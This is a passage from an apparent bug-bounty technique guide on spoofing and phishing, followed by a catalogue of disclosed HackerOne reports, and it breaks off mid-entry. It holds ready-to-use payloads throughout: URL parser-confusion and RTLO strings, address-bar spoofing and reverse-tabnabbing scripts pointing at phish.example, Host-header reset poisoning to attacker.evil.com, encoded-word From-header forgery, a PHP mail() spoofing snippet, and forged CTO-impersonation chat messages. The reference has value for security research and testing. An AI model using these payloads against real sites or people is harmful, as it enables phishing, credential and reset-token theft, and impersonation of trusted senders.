Find which surface you're on, then split its checker from its actor.
Any place the app parses a URL to make a trust decision (is this host trusted / internal / same-origin?) while the browser resolves the same string to a different host. Feed backtick, @, mixed slashes, and backslash and diff how each side reads hostname.
http://TARGET%60x.COLLAB/ # url.parse host=TARGET ; WHATWG host=TARGET`x.COLLAB (#255991)
/\COLLAB/path # sanitizer=relative ; browser=absolute cross-origin (#306414)
https:\\//COLLAB/ # backslash defeats scheme parser -> homograph host (#59375)
http://TARGET@COLLAB/ # userinfo: human reads TARGET, real host is COLLAB (#268984)
Slack markup: <http://COLLAB/login|http://TARGET.com> # shows TARGET, navigates COLLAB (#481472)
Markdown link: [http://TARGET.com](https://xn--trget-COLLAB.com) # IDN/punycode look-alike (#29491, #59375)
Any text surface that renders raw unicode is a spoofing sink. A bidirectional override (U+202E) reverses only the display order, not the bytes — so an extension/URL filter checking the real string passes while the human sees a benign name. Invisible spaces clone identifiers past a uniqueness filter. Test the full invisible set, not just U+200B.
# Send the RAW codepoints (U+202E / U+180E) inline; the display reverses/hides, the real bytes stay
song<U+202E>3pm.exe # renders "songexe.mp3" (#196222, #298)
Twitter Web App<U+180E> # renders identical to the trusted app name (#785243)
On mobile the address bar is the only trust anchor. Race the bar update against content load: repeatedly interrupt navigation so the bar keeps a trusted URL (with lock icon) while attacker content stays rendered. Separately, download/permission prompts that derive "source" from the referrer instead of the real content host let malware appear to come from a trusted domain.
// Address-bar spoof: bar shows TARGET + lock, body stays attacker-controlled (#175958)
setInterval(function () { location = 'https://TARGET.com'; }, 10);
Before any app testing, fingerprint the mail posture. A missing or p=none DMARC, a softfail SPF (~all), or an unclaimed include on a shared ESP means you can send mail as the domain with a fake mailer. Check staff subdomains too — the apex is often hardened while staff.TARGET.com is not.
dig +short TXT TARGET.com | grep -i spf # ~all (softfail) or missing = spoofable
dig +short TXT _dmarc.TARGET.com # p=none / absent = delivered to inbox
dig +short TXT _dmarc.staff.TARGET.com # staff/sub-domains are frequently unenforced (#575, #117097)
Share-via-email, invite, welcome, notify, and send-to-friend flows that ship attacker-controlled text/links from a verified sender. You inherit the target domain's deliverability and DKIM trust, bypassing spam heuristics. Test whether recipient and body are arbitrary, whether the message can be re-triggered unbounded, and whether sandbox/user content is labelled.
POST /api-umbrella/v1/users.json?api_key=… HTTP/1.1
Host: TARGET.com
user[first_name]=Visit this URL to re-verify your account&user[email]=VICTIM&
options[example_api_url]=https://COLLAB&options[send_welcome_email]=true
# VICTIM receives a legitimately DKIM-signed mail from noreply@TARGET with attacker content (#360171)
Helpdesks (Freshdesk, Zendesk) and any "email in → object created" pipeline that keys the created object on the unauthenticated SMTP From. Spoof the victim's address to a fake mailer and a ticket appears authored "as" them; agents may then act on it. When a fix filters the branded alias, retry the vendor wildcard.
From: VICTIM@example.com # spoofed via emkei.cz
To: support@TARGET.freshdesk.com # wildcard survives after branded alias is filtered (#2109382)
Subject: Account deletion request
# a ticket is created "as" the victim -> impersonation / social engineering (#2001913, #2079502)
GET /player?image_src=https://COLLAB/admin HTTP/1.1
Host: TARGET.com
# COLLAB/admin -> HTTP/1.1 401 Unauthorized / WWW-Authenticate: Basic realm="login"
# victim sees a native login dialog "from" TARGET; creds + IP/UA leak to COLLAB (#221328)
GET /nonexistent?message=Your+account+is+locked.+Call+1-800-COLLAB+to+restore HTTP/1.1
Host: TARGET.com
# value reflected into the 404 body as trusted-looking text (#106348, #106350, #145463, #1245051)
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 74 in this class.
Real-world example
Download-origin spoofing: browser shows Referer not real source
◆ High
Specimen #2888770 · brave · awarded · 86 votes · resolved
Program braveSurface desktopTag account-takeover
Root cause
The download-confirmation UI derives the displayed 'source' from the referring page URL instead of the URL the file actually came from, so an attacker page can make a malicious download appear to originate from a trusted domain.
Method
- Host an attacker page that triggers a download
- Cause the download to be attributed to a trusted referrer while the file bytes come from attacker infrastructure
- Download prompt shows the trusted domain (e.g. google.com) as the source
Victim visits https://ybt01.github.io/upload/google.html#
Clicks 'download' -> Brave download alert displays https://google.com (referrer) as origin instead of the real host
Insight — On any download/security prompt, verify the shown 'source/origin' is the actual content host, not the referrer or the top-level page. Referrer-derived provenance is a spoofing sink that helps malware appear trusted.
Real-world example
Password-reset link/content poisoning via request headers
◆ High
Specimen #791293 · endless_group · none · 30 votes · resolved
Program endless_groupSurface webChain header injection -> poisoned reset email -> token thefTag account-takeover
Root cause
The password-reset email builds the reset link from the request Host header (and reflects other headers like X-Forwarded-For), so an attacker triggering a victim's reset can control the domain/content of the link in the trusted email and harvest the token or phish the user.
Method
- Intercept the password-reset request
- Change the Host header (or inject X-Forwarded-For text) to an attacker-controlled value
- Victim receives the email; clicking the poisoned link sends the reset token to the attacker's host
POST /reset_password
Host: attacker.evil.com
# reset email now links to https://attacker.evil.com/...token=...
# variant (244677): X-Forwarded-For reflected verbatim into email body
X-Forwarded-For: For precaution, send your new password to attacker@evil.com or visit www.evil.com
Insight — Password-reset emails that derive the link/base URL from client-controlled headers (Host, X-Forwarded-Host, X-Forwarded-For) are a classic ATO/phishing primitive - test header rewriting on every reset flow and watch the delivered email.
Real-world example
Mailsploit: From-header sender spoofing via encoded-word/null-byte
◆ High
Specimen #295339 · ibb · none · 29 votes · resolved
Program ibbSurface otherTag account-takeover
Root cause
Email clients decode RFC 2047 encoded-word sequences (and mishandle null bytes/control chars) in the From header when rendering the sender, but MTAs treat the header as opaque ASCII. The client displays an attacker-chosen sender address that the mail servers never see, so DMARC/DKIM/SPF and spam filters are not triggered.
Method
- Craft a From header whose displayed address is built from RFC2047 encoded-words containing the spoofed address plus a null byte/control char to truncate the real one
- Send through any MTA (server sees benign header, passes auth)
- Vulnerable client decodes and shows the spoofed sender to the recipient
From: =?utf-8?b?<base64 of: spoofed@trusted.com\x00>?=@attacker.com
# client renders 'spoofed@trusted.com'; MTA sees attacker.com and passes SPF/DKIM/DMARC
Insight — Sender identity shown in a mail client can diverge from the SMTP-authenticated address whenever the client decodes encoded-words or mishandles null/control chars in From. Test clients by sending encoded-word/null-byte From headers; MTA-transparent spoofing bypasses DMARC entirely. Some clients also XSS on the decoded value.
Real-world example
Host spoofing via legacy url.parse vs WHATWG URL parser confusion
◆ High
Specimen #255991 · brave · 200 · 21 votes · resolved
Program braveSurface desktopChain Parser confusion -> security-setting/whitelist bypass (e.Tag cors
Root cause
Brave's renderer resolves http://brave.com%60x.evil.com/ to host evil.com (WHATWG/Chrome parser), while the Node layer applying security decisions uses legacy url.parse which reads host as brave.com - so shield/whitelist settings for brave.com are applied to an attacker origin.
Method
- Set a security setting for a trusted host (toggle Brave shield for brave.com)
- Navigate to http://brave.com%60x.attacker.com/
- Renderer loads attacker.com but the security layer keys the decision on brave.com
http://brave.com%60x.code-fu.org/
// url.parse -> hostname: 'brave.com'
// new URL() -> hostname: 'brave.com`x.code-fu.org'
Insight — Two different URL parsers in one trust decision = spoofing/SSRF-filter bypass. When one component decides 'is this host trusted/internal' and another actually fetches, feed URLs with backtick, @, backslash, %-encoding, or extra hosts and diff how each parser reads hostname. Classic in Node apps mixing url.parse and WHATWG URL.
Real-world example
Email relay/forwarder rewrites From, invalidating DKIM/ARC to bypass DMARC
◆ Medium
Specimen #2109320 · mozilla · 1000 · 42 votes · resolved
Program mozillaSurface otherTag account-takeover
Root cause
A forwarding service (Firefox Relay) recomposes the whole email with its own template and rewrites the From header to @relay.firefox.com. This strips/invalidates the original DKIM/ARC signatures, and the relay's high-reputation IP/domain lets a spoofed message that would normally be blocked (even DMARC=reject) land in the inbox.
Method
- Pick a spoof target domain (test none/quarantine/reject DMARC policies)
- Craft an email with a forged From header for that domain
- Send it to a victim's Relay alias address
- Relay recomposes/forwards it from @relay.firefox.com; DKIM/ARC no longer bind original From, so it reaches inbox without spoofing warnings
# Send spoofed 'From: security@nicehash.com' (DMARC=reject) to victim's Relay alias
# Relay re-sends from @relay.firefox.com -> delivered to inbox, no DMARC drop
Insight — Any mail forwarder/relay/notification pipe that rewrites the From header and re-signs with its own trusted domain becomes a DMARC-laundering channel. Test forwarding services by feeding them spoofed-From mail and checking if it reaches the inbox re-signed. Fixes: validate inbound DMARC before forwarding, ARC-seal, and don't rewrite From.
Real-world example
Arbitrary sender in 'share/send-to-friend' feature
◆ Medium
Specimen #1083923 · openmage · none · 38 votes · resolved
Program openmageSurface web
Root cause
The send-to-friend/share-product email feature lets the user set the From/sender address to an arbitrary value, so mail originates from a domain the attacker doesn't own, enabling convincing phishing from the trusted store's mail infrastructure.
Method
- Open the share-product endpoint (/sendfriend/product/send/id/<id>)
- Set the Sender email to an arbitrary address (not yours)
- Enter the victim recipient and send
- Victim receives attacker-controlled content from a spoofed sender via the trusted store
POST /sendfriend/product/send/id/430 sender_email=ceo@victimbrand.com&recipient=victim@target.com
Insight — Any 'email this to a friend / share / invite / refer' feature is a phishing vector if the From, display name, or message body is user-controlled and sent from the app's trusted SMTP. Test sender spoofing and body/link injection. Fix pattern: force From to a fixed app address.
Real-world example
Account impersonation via missing username normalization (whitespace)
◆ Medium
Specimen #3413764 · revive_adserver · none · 26 votes · resolved
Program revive_adserverSurface web
Root cause
Usernames are stored without normalization/trim, so leading/trailing whitespace ('admin' vs ' admin') is accepted and rendered visually identical in the UI, enabling impersonation and audit-log confusion.
Method
- As a user-admin, add a user with a username padded with leading/trailing spaces (e.g. ' admin')
- Save; in the user list the account is visually indistinguishable from the real admin
- Use it for social engineering / to muddy log attribution
username: " admin" (leading/trailing space; also try unicode homoglyphs and case variants)
Insight — Test account systems for missing username normalization: leading/trailing whitespace, unicode homoglyphs, zero-width chars, and case folding. Missing normalization enables visually-identical impersonation and log confusion even without direct privilege gain.
Real-world example
HTML injection in transactional email via profile field
◆ Medium
Specimen #1600720 · acronis · none · 25 votes · resolved
Program acronisSurface web
Root cause
The First Name field from registration is reflected unsanitized into the HTML body of the welcome email, allowing injected tags (links, images) rendered in the recipient's inbox.
Method
- Register with the victim's email
- Set First Name to an HTML payload with an attacker link
- Victim receives the trial email containing the injected link/image
First Name: "/><img src="x"><a href="https://evil.com">login</a>
Insight — User-controlled profile/registration fields that appear in outbound emails are HTML-injection sinks. Because the email is sent from the vendor's own domain, injected phishing links look legitimate. Test name/company/address fields for reflection into transactional mail.
Real-world example
Protocol-handler prompt attributed to a trusted origin via window.open
◆ Medium
Specimen #374969 · brave · awarded · 25 votes · resolved
Program braveSurface desktopChain combined with report #369185/#369218 to strengthen a phishin
Root cause
When a page opens a child window (window.open) to a trusted site and then changes that window's location to a custom-protocol URL, the browser attributes the external-app-launch prompt to the previously loaded trusted origin rather than the attacker.
Method
- From attacker page, window.open('https://google.com')
- After a delay, set the opened window's location to a protocol handler (ssh://evil.com)
- The 'open external application?' prompt appears as coming from google.com
w = window.open('https://google.com');
setTimeout(()=>{ w.location.replace('ssh://evil.com'); }, 1000);
Insight — Origin attribution for protocol-handler / external-app prompts can be spoofed via window.open followed by a delayed cross-navigation. Useful as a trust-boosting step in phishing/clickjacking chains.
Real-world example
RTLO (U+202E) unicode to disguise malicious file/link extension
◆ Medium
Specimen #196222 · snapchat · awarded · 18 votes · resolved
Program snapchatSurface mobile-androidChain RTLO display spoof → victim clicks/downloads a .exe believinTag account-takeover
Root cause
Chat/message rendering does not strip bidirectional-control unicode (U+202E Right-To-Left Override), so an attacker reverses the visual order of a filename/link tail, making a .exe display as .mp3 (or any benign extension) to the victim.
Method
- Insert a U+202E character before a crafted suffix in the displayed link/filename
- Place the real dangerous extension so that, when reversed, it visually reads as a benign one
- Send in chat; victim sees e.g. 'song.mp3' but the real target ends in .exe
example.com/song[U+202E]3pm.exe -> renders as example.com/songexe.mp3
Insight — Any text surface that renders raw unicode is a spoofing sink — test bidi overrides (U+202E/U+202B) and homoglyphs to disguise link paths, filenames, sender names, and OAuth app names. Strip or escape bidi-control characters on display.
Real-world example
Phishing email from trusted noreply@ via user-controlled signup fields
◆ Medium
Specimen #360171 · gsa_bbp · awarded · 15 votes · resolved
Program gsa_bbpSurface apiChain unbounded re-signup + templated user fields -> targeted pTag account-takeover
Root cause
The api.data.gov signup welcome email embeds attacker-controlled fields (first_name, example_api_url, contact_url) verbatim, and the same email can be re-triggered unlimited times, letting an attacker send arbitrary messages/links from noreply@api.data.gov.
Method
- Submit the signup form and intercept the POST to /api-umbrella/v1/users.json
- Set user[first_name] to an attacker sentence and options[example_api_url]/contact_url to attacker URLs
- Set user[email] to the victim; send
- Victim receives a legitimately-signed email from noreply@api.data.gov containing attacker content
POST /api-umbrella/v1/users.json?api_key=...
user[first_name]=This is from the government, visit the following URL to register.&user[email]=victim@example.com&options[example_api_url]=https://attacker.tld&options[contact_url]=https://attacker.tld&options[send_welcome_email]=true
Insight — Transactional email templates that interpolate user-supplied name/URL fields are a phishing primitive: you get deliverability and trust of the victim's own domain. Also test that the same address can be signed up repeatedly (no dedupe = mail-bomb/phish amplifier).
Real-world example
Browser address-bar URL spoofing via window.open + document.write
◆ Medium
Specimen #369086 · brave · awarded · 14 votes · resolved
Program braveSurface desktopChain URL spoof -> credential phishing under trusted origin appTag account-takeover
Root cause
Opening a URL whose response is slow/empty (e.g. google.com/csi) leaves the address bar showing that URL while the document is effectively about:blank; the opener then document.write()s arbitrary content, so attacker HTML/JS runs under a spoofed, trusted-looking URL (address bar even stays put during alert()).
Method
- From attacker page, on user gesture call window.open(target_trusted_url)
- After a short timeout, write attacker content into the new window's document
- Address bar keeps showing the trusted URL while attacker content/JS executes
<script>
window.onclick = function(){
x = window.open('https://www.google.com/csi');
setTimeout(function(){
x.document.write(`spoofed content <button onclick="alert('JS runs here')">click</button>`);
},100);
};
</script>
Insight — URL-spoofing bugs hinge on a race between navigation commit and document replacement. Test window.open to endpoints that return slowly/blank, then document.write; if the address bar retains the target URL, you have credible phishing. Report with a concrete gesture-triggered PoC.
Real-world example
SPF softfail (~all) enables sender spoofing
◆ Medium
Specimen #457829 · mycrypto · none · 9 votes · resolved
Program mycryptoSurface other
Root cause
SPF record ends in ~all (softfail) instead of -all (hardfail), so mail from unauthorized senders is accepted/quarantined rather than rejected, allowing spoofed mail from the domain.
Method
- dig TXT domain to read the SPF record
- If it ends in ~all (or ?all / no SPF), send mail with From: support@domain via any relay
- Message passes/lands, appearing to originate from the trusted domain
v=spf1 include:_spf.google.com ~all # weak -> should be -all
<?php
mail('victim@example.com','Password Change','Reset here: http://EVIL','From: support@TARGET');
Insight — Always check SPF (~all vs -all), plus DMARC policy (p=none is effectively spoofable) and DKIM. Softfail + p=none is a reliable phishing primitive; escalate impact by showing a delivered spoofed mail, not just the record.
Real-world example
Address-bar URL spoof via bogus protocol handler navigation
◆ Medium
Specimen #373721 · brave · awarded · 9 votes · resolved
Program braveSurface desktopTag account-takeover
Root cause
Navigating window.open to an unknown/bogus protocol handler (http.://google.com) leaves the spoofed URL in the address bar instead of resetting to about:blank, while the opened document remains writable by the opener, so an attacker renders arbitrary content under a trusted URL.
Method
- From attacker page, window.open('http.://TRUSTED.com') (note the extra dot -> unknown scheme)
- Browser keeps 'http.://TRUSTED.com' visible in the address bar rather than clearing it
- Use the returned window handle to document.write attacker content -> page looks like it is TRUSTED.com
x = window.open('http.://google.com')
setTimeout(() => {
x.document.write(`Hello Google.com! <button onclick="alert('JS on this page')">Click</button>`)
}, 1000)
Insight — To test browser/embedded-webview URL spoofing, open unusual/unknown scheme URLs (scheme with trailing dot, unregistered protocol handlers) and check whether the address bar is reset to about:blank and whether the opener can still write into the document.
Real-world example
Email spoofing via unclaimed SPF include (shared ESP)
◆ Medium
Specimen #117097 · gratipay · USD 10 · 8 votes · resolved
Program gratipaySurface webChain dangling SPF include -> spoofed phishing mail from the reTag subdomain-takeoverTag spoofing-phishing
Root cause
The domain's SPF record includes a shared email provider (spf.mandrillapp.com) that the org no longer uses/never claimed; because Mandrill authorises mail for any domain whose SPF points at it, an attacker with their own Mandrill account can send SPF-passing mail as the domain.
Method
- Read the target SPF record and note include: entries for shared ESPs (Mandrill, SendGrid, Freshdesk, etc.)
- Confirm the domain is not actually configured/claimed on that ESP
- Register your own account on that ESP
- Send mail from the ESP with the target domain as From - it passes SPF
v=spf1 include:email.freshdesk.com include:spf.mandrillapp.com include:_spf.google.com -all
# attacker sends from @TARGET via their own Mandrill tenant -> SPF pass
Insight — Audit SPF include: entries for shared ESPs the org has abandoned or never verified - these are 'dangling includes' enabling authenticated-looking spoofing. Same class as subdomain takeover but for email trust. Remove unused includes or complete domain verification/DKIM.
Real-world example
Reverse tabnabbing via user link without rel=noopener
◆ Medium
Specimen #109161 · gratipay · awarded · 8 votes · resolved
Program gratipaySurface webChain stored link -> reverse tabnabbing -> credential phishiTag account-takeover
Root cause
User-controlled profile links are rendered as outbound anchors that open a new context while leaving window.opener accessible (no rel=noopener); the linked page can rewrite the original tab to a phishing clone.
Method
- Put an attacker link in a user-controlled profile field (statement)
- Victim clicks it; the new tab retains window.opener to the original
- From the attacker page set window.opener.location to a phishing copy of the site
- Victim returns to the original tab and re-enters credentials on the fake page
<a href="http://attacker.example">link</a>
// attacker page: if (window.opener) window.opener.location = 'https://phish.example/login';
// fix: rel="noopener noreferrer"
Insight — Any place users can inject links (profiles, comments, markdown) that render with target=_blank needs rel="noopener noreferrer". Test by hosting a page that does window.opener.location and clicking through. Note: rel=nofollow (the reporter's suggested fix) does NOT mitigate this - noopener does.
Real-world example
Email spoofing via shared-ESP SPF include
◆ Medium
Specimen #56742 · security · awarded · 6 votes · resolved
Program securitySurface other
Root cause
The domain's SPF record includes a shared email provider (spf.mandrillapp.com) whose sending IPs are shared across all customers; because the sender's own subaccount wasn't locked down, any Mandrill customer could send SPF-passing mail as the domain.
Method
- dig the target's SPF TXT record and list include: entries
- Identify shared ESPs (mandrill/sendgrid/etc.)
- Sign up for that ESP and send mail with From: anything@target.com
- Mail passes SPF because it originates from the shared provider's authorized IPs
dig txt hackerone.com
; v=spf1 include:_spf.google.com include:sendgrid.net include:spf.mandrillapp.com ~all
Insight — An SPF include of a shared/multi-tenant ESP is a spoofing vector unless the domain also completes that ESP's domain-lock/verification. Enumerate include: entries and test each shared provider.
Real-world example
Reverse tabnabbing via target=_blank window.opener
◆ Medium
Specimen #124889 · security · awarded · 6 votes · resolved
Program securitySurface web
Root cause
User-supplied links open with target=_blank but no rel=noopener, so the destination page retains a reference to window.opener and can navigate the original tab (opener.location) to a look-alike phishing page while the user is on the new tab.
Method
- Post a link (in a report/comment/profile) pointing to attacker page
- Attacker page runs opener.location='https://phish/'
- Victim clicks the link; the still-open trusted tab is silently rewritten to a credential-harvesting clone
<!-- attacker landing page -->
<script>if(window.opener)window.opener.location='https://phish.example/login';</script>
Insight — Anywhere the app renders user-controlled links that open in a new tab, check for missing rel="noopener"/noreferrer. The opener reference lets the child tab redirect the parent - devastating for trusted contexts (dashboards, report pages) because the URL bar of the ORIGINAL tab changes to something the victim already trusted.
Real-world example
Reverse tabnabbing via markup that emits target=_blank without rel=noopener
◆ Medium
Specimen #213114 · gitlab · none · 5 votes · resolved
Program gitlabSurface web
Root cause
A markup renderer (AsciiDoc/Markdown) converts link syntax into <a target="_blank"> without rel="noopener noreferrer". The opened page inherits a live window.opener reference and can navigate the original tab to a phishing page.
Method
- Find a renderer that supports opening links in a new tab (AsciiDoc caret syntax, Markdown extensions, WYSIWYG editors).
- Post a link that renders as target=_blank; verify the output has no rel=noopener.
- Host a page that runs window.opener.location = 'https://phish.example/login' on load.
- Victim clicks the link; the original trusted tab is silently redirected to the attacker's look-alike login.
AsciiDoc: http://attacker.example[Click here^]
renders as: <a href="http://attacker.example" target="_blank">Click here</a>
Attacker page: <script>if(window.opener)window.opener.location='https://phish.example/login';</script>
Insight — Any user-content renderer that supports 'open in new tab' is a reverse-tabnabbing candidate — check whether emitted target=_blank links carry rel=noopener. If not, you can silently rewrite the opener tab for phishing. Test AsciiDoc/Markdown, comment systems, and WYSIWYG editors.
Real-world example
User impersonation via client-controlled avatar/alias message params
◆ Medium
Specimen #1031525 · rocket_chat · none · 5 votes · resolved
Program rocket_chatSurface apiTag webhook
Root cause
The sendMessage API trusts client-supplied avatar and alias fields on outgoing messages, letting any user with post permission render a message that visually appears to come from another user (custom name + custom avatar), enabling social-engineering attacks.
Method
- Locate a message/notification API that accepts display-name or avatar overrides (chat bots, webhooks, integrations).
- Send a message with avatar and alias set to impersonate a trusted user/role.
- Use realistic alias + avatar path to spoof e.g. an executive or admin in a channel.
Meteor.call("sendMessage", {
rid: "<ROOM ID>",
msg: "@securityguard please escort the two technicians to the server room",
avatar: "/avatar/cto",
alias: "Your CTO"
}, (...args) => console.log(...args));
Insight — Message/notification APIs that expose alias/avatar/display-name overrides (originally meant for bots/integrations) are impersonation primitives when reachable by normal users. Check whether the server strips or visually flags client-set sender identity; if not, you can spoof any user for phishing/social engineering.
Real-world example
Email-verification link: unbound nonce + unvalidated reflected param -> content-spoofing phishing
◆ Medium
Specimen #117187 · gratipay · awarded · 5 votes · resolved
Program gratipaySurface web
Root cause
The verify.html endpoint reflects the 'email' query param into the on-page/email message without validation, and its nonce is accepted for ANY username, so an attacker crafts a link (any target user) whose 'email' field is arbitrary phishing text shown as an official Gratipay message.
Method
- Add your own email to get a valid verify link + nonce
- Replace the email param with attacker phishing text and swap in any victim username
- Send the crafted official-domain link to victims; the injected text renders as a trusted site message
https://gratipay.com/~VICTIM/emails/verify.html?email=You%20won!%20Send%2010%20USD%20to%20paypal:evil@x.com&nonce=ANY_VALID_NONCE
Insight — Verification/confirmation endpoints that (a) reflect an attacker-controlled param into the message and (b) use a nonce not bound to the specific user/email are content-spoofing/phishing gold - the payload rides on the trusted domain. Test whether the nonce is scoped to the exact user+email or globally reusable. Related email-verify logic flaw at the same endpoint: resend-verification silently associating an arbitrary look-alike email (#156542).
Real-world example
Missing SPF/DMARC enables email spoofing
◆ Medium
Specimen #117159 · gratipay · awarded · 4 votes · resolved
Program gratipaySurface webTag account-takeover
Root cause
Domains (aspen.io, grtp.co) had no valid SPF (and no DMARC) records, allowing an attacker to send spoofed email as those domains.
Method
- Query TXT/SPF and DMARC records for the target domain
- Confirm no valid SPF/DMARC policy exists
- Send/relay spoofed mail claiming the domain as sender for phishing
dig TXT target.tld # no v=spf1 record
dig TXT _dmarc.target.tld # no DMARC policy
Insight — Always check SPF/DKIM/DMARC on in-scope mail domains; absent/permissive policies enable spoofed phishing from the brand's own domain.
Real-world example
Unauthenticated email-send endpoint + HTML injection -> phishing
◆ Medium
Specimen #139402 · informatica · none · 4 votes · resolved
Program informaticaSurface web
Root cause
A share/preview endpoint (EmailExtended.aspx) sends email with attacker-controlled sender, recipient, subject and body when the docid is invalid, and the body permits <a>/<img> HTML injection, enabling spoofed credential-phishing from a trusted domain.
Method
- POST to the email endpoint with an invalid docid to unlock all sender/recipient/body fields
- Set From to a trusted address and inject an <a> phishing link in the body
- Email is delivered from the target's own infrastructure
POST /_layouts/infa_kb/preview/EmailExtended.aspx?docid=test
...&TextBox4=admin@informatica.com&TextBox5=A convincing subject&TextBox6=Please visit <a href=http://evil.example>Our login page</a> and enter your credentials&Button1=Submit
Insight — Preview/share/'email this' features that let you set sender + body are open relays for branded phishing. Try an invalid resource id to unlock hidden fields, and test the body for HTML injection to embed links/images. Delivery from the real domain massively raises phish credibility.
Real-world example
Email spoofing via missing DKIM / weak SPF
◆ Medium
Specimen #84287 · gratipay · awarded · 2 votes · resolved
Program gratipaySurface web
Root cause
The domain had SPF but no DKIM record (and, in the merged cases, SPF using soft ~all/?all instead of -all), allowing forged mail that appears to originate from the domain and passes recipient checks — enabling convincing phishing.
Method
- Query the domain's SPF and DKIM records
- If DKIM absent, or SPF ends in ~all/?all, forged mail is deliverable as the domain
- Send a spoofed From:<security@domain> phishing mail to demonstrate
nslookup -querytype=TXT google._domainkey.TARGET 8.8.8.8 # 'No DKIM record'
dig TXT TARGET | grep spf1 # look for ~all or ?all instead of -all
# spoof: mail() with From: security@TARGET
Insight — Email-auth findings are only worth reporting with a spoofing PoC and impact (phishing/password-reset lure). Check the trio: SPF must end -all (hardfail), DKIM must exist and validate, and DMARC must be p=reject/quarantine — a gap in any one enables spoofing.
Real-world example
Link-text vs href mismatch in chat markup (Slack)
◆ Low
Specimen #481472 · slack · 250 · 362 votes · resolved
Program slackSurface webTag account-takeover
Root cause
Chat/markdown renderers let the displayed link text be set independently of the actual destination; a URL-looking display string can point anywhere. Desktop/mobile clients show no status-bar hover to reveal the real target.
Method
- Send a message via the API with the text field using Slack link markup
- Set display text to a trusted-looking URL and href to attacker domain
- Message renders http://example.com but navigates to evil.com on click
POST /api/chat.postMessage HTTP/1.1
Host: example.slack.com
...
Content-Disposition: form-data; name="text"
<http://evil.com|http://example.com>
Insight — Any rich-text/markdown/chat surface that supports [text](url) or <url|text> is a link-masking phishing sink; always test whether display text and destination can diverge, and whether the client hides the real URL (mobile/desktop have no hover status bar).
Real-world example
Reflected text injection by breaking out of an input value attribute
◆ Low
Specimen #2234420 · khanacademy · none · 81 votes · resolved
Program khanacademySurface web
Root cause
Query params (e.g. utm_source/utm_medium) are reflected inside an HTML input value without encoding; injecting "> closes the tag and lets arbitrary attacker text render on the trusted page for phishing/defacement.
Method
- Find a param reflected inside <input value=...> (or reflected in an error page)
- Set the param to "> followed by attacker text/markup
- Load the crafted link -> injected content renders under the trusted origin
https://cloud.e.khanacademy.org/districts-demo-form?utm_source="><h1>Call+1-800-SCAM+to+verify</h1>
Insight — Reflected params inside attributes are worth probing with "> even when full XSS is filtered - text/HTML injection still enables credible phishing on the real domain. If < > survive, escalate toward XSS; if only text renders, it's content spoofing.
Real-world example
Content spoofing / text injection reflected on error (404) pages
◆ Low
Specimen #1245051 · basecamp · 100 · 45 votes · resolved
Program basecampSurface webTag account-takeover
Root cause
An application reflects attacker-controlled path/parameter text unencoded into an error or 404 page, letting the attacker present arbitrary messages (maintenance notices, phishing text) under the trusted domain even without script execution.
Method
- Append arbitrary text after the slash / in a nonexistent path
- Confirm the text is reflected verbatim in the error page body
- Craft a plausible social-engineering message pointing users to an attacker resource
https://TARGET/.git/!!!ATENTION!%20This%20server%20is%20on%20Maintenance%20please%20go%20to%20WWW.EVIL.COM
https://TARGET/<any text reflected on 404>
Insight — Error/404 pages are a recurring, low-guarded reflection surface: they often echo the requested path and frequently escape normal templating/CSP controls. Always fuzz them for unencoded reflection — useful for phishing text injection and, when a header/CSP is also missing, for XSS.
Real-world example
Browser security-UI URL spoof via improper eliding/reordering of long subdomains
◆ Low
Specimen #2501378 · brave · 100 · 45 votes · resolved
Program braveSurface mobile-androidTag account-takeover
Root cause
A browser security indicator (Shields pop-up) displayed the URL without eliding from the front (and in a variant, reordered numeric labels), so a long attacker subdomain pushed the real registrable domain out of view, letting an attacker-controlled host masquerade as a trusted one.
Method
- Register a long/deceptive subdomain under an attacker domain (e.g. trusted-looking-labels.attacker.com or 1.1.1.1.attacker.com)
- Open it and invoke the browser security-indicator/shields UI
- Observe the displayed host is truncated/reordered to hide the true registrable domain
https://long-extended-subdomain-name-containing-many-letters-and-dashes.badssl.com/
https://1.1.1.1.attacker.com/ # shown as attacker.com.1.1.1.1 in the reordering variant
Insight — Audit every place a browser/app renders a URL for trust (omnibox, permission/shield dialogs, wallet/donation prompts). URLs must be elided from the front per Chromium URL-display guidelines; front-truncation or label reordering is a spoofing bug. Check mobile separately — desktop and Android often differ.
Real-world example
Abuse 'share via email' to send phishing from a trusted address
◆ Low
Specimen #1128701 · security · none · 33 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A share/notify feature (ShareReportViaEmail) sends attacker-supplied message text to an attacker-chosen recipient from the platform's own verified email address, with no label distinguishing sandbox/user content, so the email looks fully legitimate.
Method
- Create a sandbox program and a fake report/asset
- Call the shareReportViaEmail GraphQL mutation with an attacker message and target email
- Recipient gets a convincing email from HackerOne's verification address containing the social-engineering payload
mutation Createvpncredentialsmutation($input0:ShareReportViaEmailInput!){shareReportViaEmail(input:$input0){errors{edges{node{field,message,type}}},was_successful,clientMutationId}}
variables: {"input0":{"message":"...payout for retest is 500$, reply to attacker@wearehackerone.com...","emails":"VICTIM@wearehackerone.com","report_id":"gid://hackerone/Report/<SANDBOX_ID>","clientMutationId":"0"}}
Insight — Any 'email this to a friend / share report / invite' feature that delivers user-controlled text from the platform's trusted domain is a phishing primitive. Test whether sandbox/untrusted content is labeled, and whether arbitrary recipients and message bodies are allowed.
Real-world example
Client-side URL-scheme validation bypass via request tampering (Slack)
◆ Low
Specimen #500348 · slack · 100 · 31 votes · resolved
Program slackSurface webTag account-takeover
Root cause
Scheme validation on a user-controllable link field (profile custom field) is enforced only client-side. Editing the raw API request injects disallowed schemes (tel:, and potentially other deep-link/custom schemes) that render as clickable links.
Method
- Set a profile custom field with a normal https URL
- Intercept the users.profile.set request
- Replace the value with a disallowed scheme (tel://...)
- Field saves; clicking the link on mobile triggers the scheme (e.g. dials attacker)
POST /api/users.profile.set HTTP/1.1
Host: example-corp.slack.com
...
Content-Disposition: form-data; name="profile"
{"real_name":"...","fields":{"XfABVBP467":{"value":"tel://03-9999-0000","alt":"McDonald's"}}}
Insight — When a UI blocks certain URL schemes, always retry the raw request: validation is frequently client-side only. Server-accepted tel:/sms:/custom-scheme links become deep-link abuse and social-engineering vectors (javascript:/data: were blocked server-side here).
Real-world example
HTTP 401 response injection via unvalidated image_src for credential phishing
◆ Low
Specimen #221328 · X / xAI · awarded · 30 votes · resolved
Program X / xAISurface web
Root cause
The image_src parameter loaded images from any arbitrary host without proxying/whitelisting; pointing it at a host that returns HTTP 401 makes the browser display a Basic-Auth prompt that appears to originate from the trusted domain, plus leaks the viewer's IP/browser.
Method
- Find a param that auto-loads a remote image/URL into a trusted page
